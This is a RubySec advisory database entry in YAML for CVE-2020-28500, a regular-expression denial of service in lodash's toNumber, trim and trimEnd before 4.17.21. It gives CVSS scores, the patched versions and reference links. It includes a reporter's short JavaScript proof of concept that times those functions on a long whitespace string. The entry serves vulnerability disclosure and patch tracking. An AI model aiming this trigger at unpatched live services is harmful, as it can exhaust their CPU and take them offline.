ruby-advisory-db/gems/lodash-rails/CVE-2020-28500.yml at master · rubysec/ruby-advisory-db · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
---
gem: lodash-rails
cve: 2020-28500
ghsa: 29mw-wpgm-hmr9
url: https://github.com/advisories/GHSA-29mw-wpgm-hmr9
title: Regular Expression Denial of Service (ReDoS) in lodash
date: 2022-01-06
description: |
  All versions of package lodash prior to 4.17.21 are vulnerable
  to Regular Expression Denial of Service (ReDoS) via the
  `toNumber`, `trim` and `trimEnd` functions.

  Steps to reproduce (provided by reporter Liyuan Chen):

  ```
    var lo = require('lodash');

    function build_blank(n) {
       var ret = "1"
       for (var i = 0; i < n; i++) {
           ret += " "
       }
       return ret + "1";
   }
   var s = build_blank(50000) var time0 = Date.now();
   lo.trim(s)
   var time_cost0 = Date.now() - time0;
   console.log("time_cost0: " + time_cost0);
   var time1 = Date.now();
   lo.toNumber(s) var time_cost1 = Date.now() - time1;
   console.log("time_cost1: " + time_cost1);
   var time2 = Date.now();
   lo.trimEnd(s);
   var time_cost2 = Date.now() - time2;
   console.log("time_cost2: " + time_cost2);
  ```
cvss_v2: 5.0
cvss_v3: 5.3
patched_versions:
  - ">= 4.17.21"
related:
  url:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28500
    - https://github.com/lodash/lodash/pull/5065
    - https://github.com/lodash/lodash/pull/5065/commits/02906b8191d3c100c193fe6f7b27d1c40f200bb7
    - https://github.com/lodash/lodash/blob/npm/trimEnd.js
    - https://snyk.io/vuln/SNYK-JS-LODASH-1018905
    - https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896
    - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894
    - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892
    - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895
    - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893
    - https://www.oracle.com//security-alerts/cpujul2021.html
    - https://www.oracle.com/security-alerts/cpuoct2021.html
    - https://www.oracle.com/security-alerts/cpujan2022.html
    - https://www.oracle.com/security-alerts/cpujul2022.html
    - https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf
    - https://github.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a
    - https://security.netapp.com/advisory/ntap-20210312-0006
    - https://github.com/advisories/GHSA-29mw-wpgm-hmr9